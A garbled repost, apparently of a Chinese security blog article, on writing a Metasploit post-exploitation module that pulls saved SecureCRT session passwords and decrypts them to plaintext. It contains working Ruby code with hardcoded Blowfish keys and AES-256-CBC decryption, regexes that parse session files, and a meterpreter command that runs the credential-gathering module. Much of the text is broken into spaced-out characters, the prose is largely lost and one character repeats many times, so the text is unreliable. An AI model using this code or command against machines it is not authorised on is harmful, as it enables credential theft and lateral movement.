[6960] 2020-10-03_编写Metasploit模块获取SecureCRT明文密码

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-17
2020-10-03_编写Metasploit模块获取SecureCRT明文密码 M e t a s p l o i t S e c u r e C R T E   2 0 2 0 - 1 0 - 0 3   使 N o . 1 N o . 1 7 . 3 . 3 P a s s p h r a s e P a s s p h r a s e 使 P a s s p h r a s e S H A 2 5 6 A E S - 2 5 6 - C B C K e y X s h e l l N o . 2 N o . 2 S e c u r e C R T % A p p D a t a % R o a m i n g V a n D y k e C o n f i g S e s s i o n s ' H K E Y _ C U R R E N T _ U S E R S o f t w a r e V a n D y k e S e c u r e C R T ' s e s s i o n R u b y 使 N o . 3 N o . 3 P y t h o n R u b y P y t h o n R u b y h e x 西   . p r o t o c o l   =   R e g e x p . c o m p i l e ( ' S : " P r o t o c o l   N a m e " = ( [ ^ r n ] * ) ' ) . m a t c h ( f i l e )   ?   R e g e x p . l a s t _ m a t c h ( 1 )   :   n i l h o s t n a m e   =   R e g e x p . c o m p i l e ( ' S : " H o s t n a m e " = ( [ ^ r n ] * ) ' ) . m a t c h ( f i l e )   ?   R e g e x p . l a s t _ m a t c h ( 1 )   :   n i l p a s s w o r d   =   R e g e x p . c o m p i l e ( ' S : " P a s s w o r d " = u ( [ 0 - 9 a - f ] + ) ' ) . m a t c h ( f i l e )   ?   s e c u r e c r t _ c r y p t o ( R e g e x p . l a s t _ m a t c h ( 1 ) )   :   n i l p a s s w o r d v 2   =   R e g e x p . c o m p i l e ( ' S : " P a s s w o r d   V 2 " = 0 2 : ( [ 0 - 9 a - f ] + ) ' ) . m a t c h ( f i l e )   ?   s e c u r e c r t _ c r y p t o _ v 2 ( R e g e x p . l a s t _ m a t c h ( 1 ) )   :   n i l p o r t   =   R e g e x p . c o m p i l e ( " D : " [ # { p r o t o c o l } ]   P o r t " = ( [ 0 - 9 a - f ] { 8 } ) " ) . m a t c h ( f i l e )   ?   R e g e x p . l a s t _ m a t c h ( 1 ) . t o _ i ( 1 6 ) . t o _ s   :   n i l p o r t   =   R e g e x p . c o m p i l e ( ' D : " P o r t " = ( [ 0 - 9 a - f ] { 8 } ) ' ) . m a t c h ( f i l e )   ?   R e g e x p . l a s t _ m a t c h ( 1 ) . t o _ i ( 1 6 ) . t o _ s   :   n i l   i f   ! p o r t u s e r n a m e   =   R e g e x p . c o m p i l e ( ' S : " U s e r n a m e " = ( [ ^ r n ] * ) ' ) . m a t c h ( f i l e )   ?   R e g e x p . l a s t _ m a t c h ( 1 )   :   n i l s e l f . I V   =   b ' x 0 0 '   *   B l o w f i s h . b l o c k _ s i z e s e l f . K e y 1   =   b ' x 2 4 x A 6 x 3 D x D E x 5 B x D 3 x B 3 x 8 2 x 9 C x 7 E x 0 6 x F 4 x 0 8 x 1 6 x A A x 0 7 ' s e l f . K e y 2   =   b ' x 5 F x B 0 x 4 5 x A 2 x 9 4 x 1 7 x D 9 x 1 6 x C 6 x C 6 x A 2 x F F x 0 6 x 4 1 x 8 2 x B 7 ' k e y 1   =   " x 2 4 x A 6 x 3 D x D E x 5 B x D 3 x B 3 x 8 2 x 9 C x 7 E x 0 6 x F 4 x 0 8 x 1 6 x A A x 0 7 " k e y 2   =   " x 5 F x B 0 x 4 5 x A 2 x 9 4 x 1 7 x D 9 x 1 6 x C 6 x C 6 x A 2 x F F x 0 6 x 4 1 x 8 2 x B 7 " i r b ( m a i n ) : 0 0 1 : 0 >   " x 2 4 x A 6 x 3 D x D E x 5 B x D 3 x B 3 x 8 2 x 9 C x 7 E x 0 6 x F 4 x 0 8 x 1 6 x A A x 0 7 " . u n p a c k ( ' H * ' ) = >   [ " 2 4 a 6 3 d d e 5 b d 3 b 3 8 2 9 c 7 e 0 6 f 4 0 8 1 6 a a 0 7 " ] i r b ( m a i n ) : 0 0 2 : 0 >   ' x 2 4 x A 6 x 3 D x D E x 5 B x D 3 x B 3 x 8 2 x 9 C x 7 E x 0 6 x F 4 x 0 8 x 1 6 x A A x 0 7 ' . u n p a c k ( ' H * ' ) = >   [ " 5 c 7 8 3 2 3 4 5 c 7 8 4 1 3 6 5 c 7 8 3 3 4 4 5 c 7 8 4 4 4 5 5 c 7 8 3 5 4 2 5 c 7 8 4 4 3 3 5 c 7 8 4 2 3 3 5 c 7 8 3 8 3 2 5 c 7 8 3 9 4 3 5 c 7 8 3 7 4 5 5 c 7 8 3 0 3 6 5 c 7 8 4 6 3 4 5 c 7 8 3 0 3 8 5 c 7 8 3 1 3 6 5 c 7 8 4 1 4 1 5 c 7 8 3 0 3 7 " ] i r b ( m a i n ) : 0 0 3 : 0 >  
P y t h o n b y t e s . f r o m h e x ( C i p h e r t e x t ) c i p h e r t e x t h e x b y t e s R u b y [ c i p h e r t e x t ] . p a c k ( ' H * ' ) O p e n S S L 使 b f - c b c C B C P y t h o n R u b y R u b y P y t h o n R u b y 使 . s t e p ( 2 ) 2 b y t e s i n t P y t h o n i n t . f r o m _ b y t e s ( p a d d e d _ p l a i n _ b y t e s [ 0 : 4 ] ,   ' l i t t l e ' ) R u b y p a d d e d _ p l a i n _ b y t e s [ 0 , 4 ] . u n p a c k 1 ( ' l ' ) N o . 4 N o . 4 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 使 m e t e r p r e t e r r u n   p o s t / w i n d o w s / g a t h e r / c r e d e n t i a l s / s e c u r e c r t   P A S S P H R A S E = 1 2 3 4 5 6 P A S S P H R A S E d e f   b l o w f i s h _ d e c r y p t ( s e c r e t _ k e y ,   t e x t )         c i p h e r   =   O p e n S S L : : C i p h e r . n e w ( ' b f - c b c ' ) . d e c r y p t         c i p h e r . p a d d i n g   =   0         c i p h e r . k e y _ l e n   =   s e c r e t _ k e y . l e n g t h         c i p h e r . k e y           =   s e c r e t _ k e y         c i p h e r . i v =   " x 0 0 "   *   8         c i p h e r . u p d a t e ( t e x t )   +   c i p h e r . f i n a l e n d d e f   s e c u r e c r t _ c r y p t o ( c i p h e r t e x t )             k e y 1   =   " x 2 4 x A 6 x 3 D x D E x 5 B x D 3 x B 3 x 8 2 x 9 C x 7 E x 0 6 x F 4 x 0 8 x 1 6 x A A x 0 7 "         k e y 2   =   " x 5 F x B 0 x 4 5 x A 2 x 9 4 x 1 7 x D 9 x 1 6 x C 6 x C 6 x A 2 x F F x 0 6 x 4 1 x 8 2 x B 7 "         c i p h e r e d _ b y t e s   =   [ c i p h e r t e x t ] . p a c k ( ' H * ' )         c i p h e r _ t m p   =   b l o w f i s h _ d e c r y p t ( k e y 1 , c i p h e r e d _ b y t e s ) [ 4 . . - 5 ]         p a d d e d _ p l a i n _ b y t e s   =   b l o w f i s h _ d e c r y p t ( k e y 2 , c i p h e r _ t m p )         i   =   0         ( 0 . . p a d d e d _ p l a i n _ b y t e s . l e n g t h ) . s t e p ( 2 )   { | i |                 i f   ( p a d d e d _ p l a i n _ b y t e s [ i ]   = =   " x 0 0 "   & &   p a d d e d _ p l a i n _ b y t e s [ i   +   1 ]   = =   " x 0 0 " )                         r e t u r n   p a d d e d _ p l a i n _ b y t e s [ 0 . . i - 1 ] . f o r c e _ e n c o d i n g ( " U T F - 1 6 L E " ) . e n c o d e ( ' U T F - 8 ' )                 e n d                 } e n d d e f   s e c u r e c r t _ c r y p t o _ v 2 ( c i p h e r t e x t )         i v   = ( " x 0 0 "   *   1 6 )         c o n f i g _ p a s s p h r a s e   =     d a t a s t o r e [ ' P a s s p h r a s e ' ]   | |   n i l         k e y   =   O p e n S S L : : D i g e s t : : S H A 2 5 6 . n e w ( c o n f i g _ p a s s p h r a s e ) . d i g e s t         a e s   =   O p e n S S L : : C i p h e r . n e w ( ' A E S - 2 5 6 - C B C ' )         a e s . k e y   =   k e y         a e s . p a d d i n g   =   0         a e s . d e c r y p t         a e s . i v   =   i v         p a d d e d _ p l a i n _ b y t e s   =   a e s . u p d a t e ( [ c i p h e r t e x t ] . p a c k ( ' H * ' ) )         p l a i n _ b y t e s _ l e n g t h =   p a d d e d _ p l a i n _ b y t e s [ 0 , 4 ] . u n p a c k 1 ( ' l ' )   #   b y t e s   t o   i n t   l i t t l e - e n d i a n   f o r m a t .         p l a i n _ b y t e s   =   p a d d e d _ p l a i n _ b y t e s [ 4 , p l a i n _ b y t e s _ l e n g t h ]         p l a i n _ b y t e s _ d i g e s t   =   p a d d e d _ p l a i n _ b y t e s [ 4   +   p l a i n _ b y t e s _ l e n g t h , 3 2 ]         i f ( O p e n S S L : : D i g e s t : : S H A 2 5 6 . n e w ( p l a i n _ b y t e s ) . d i g e s t   = =   p l a i n _ b y t e s _ d i g e s t )   #   v e r i t y                 r e t u r n   p l a i n _ b y t e s . f o r c e _ e n c o d i n g ( ' U T F - 8 ' )         e n d         p r i n t _ e r r o r ( " M a y b e   t h e   u s e r   h a s   s e t   t h e   p a s s p h r a s e ,   p l e a s e   t r y   t o   p r o v i d e   t h e   [ P a s s p h r a s e ]   t o   d e c r y p t   a g a i n . " )         r e t u r n   n i l e n d
N o . 5 N o . 5 R u b y p a c k u n p a c k I N I 使 h t t p s : / / g i t h u b . c o m / H y p e r S i n e / h o w - d o e s - S e c u r e C R T - e n c r y p t - p a s s w o r d / b l o b / m a s t e r / d o c / h o w - d o e s - S e c u r e C R T - e n c r y p t - p a s s w o r d . m d h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t - f r a m e w o r k / p u l l / 1 4 1 1 8 E   h t t p s : / / w w w . e a s y a q . c o m   E     1 9 W i n d o w s   X P T h y m e l e a f S S T I 稿     1 5 5 5 8 1 9 2 9 5 9 E
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则